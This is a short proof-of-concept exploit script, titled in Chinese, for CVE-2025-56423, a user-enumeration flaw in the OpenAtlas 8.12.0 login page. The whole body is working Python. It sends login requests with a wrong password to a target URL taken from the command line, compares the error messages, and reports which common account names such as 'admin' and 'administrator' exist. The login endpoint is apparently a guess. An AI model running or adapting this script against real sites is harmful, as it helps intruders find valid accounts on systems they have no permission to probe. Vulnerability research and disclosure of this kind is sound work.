CVE-2025-56423 OpenAtlas登录用户枚举漏洞

import requests import sys # CVE-2025-56423 PoC - OpenAtlas User Enumeration # Target: OpenAtlas v.8.12.0 # Vulnerability: User enumeration via login error messages def check_user_exists(target_url, username): """ Check if a username exists by analyzing login error messages """ login_url = f"{target_url}/user/login" # Adjust endpoint as needed # Try with a random password data = { 'username': username, 'password': 'random_wrong_password_123' } try: response = requests.post(login_url, data=data, timeout=10) content = response.text.lower() # Analyze error messages to determine if user exists # Different error messages indicate user existence if 'user not found' in content or 'username does not exist' in content: return False # User does not exist elif 'incorrect password' in content or 'wrong password' in content: return True # User exists (password is wrong) else: # If messages are consistent, user enumeration may not be possible return None except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def main(): if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] usernames = ['admin', 'user', 'test', 'administrator', 'guest'] print(f"[*] Scanning {target} for valid usernames...") print("-" * 50) found_users = [] for user in usernames: result = check_user_exists(target, user) if result is True: print(f"[+] User found: {user}") found_users.append(user) elif result is False: print(f"[-] User not found: {user}") print("-" * 50) if found_users: print(f"[*] Found {len(found_users)} valid user(s): {', '.join(found_users)}") else: print("[*] No valid users found") if __name__ == '__main__': main()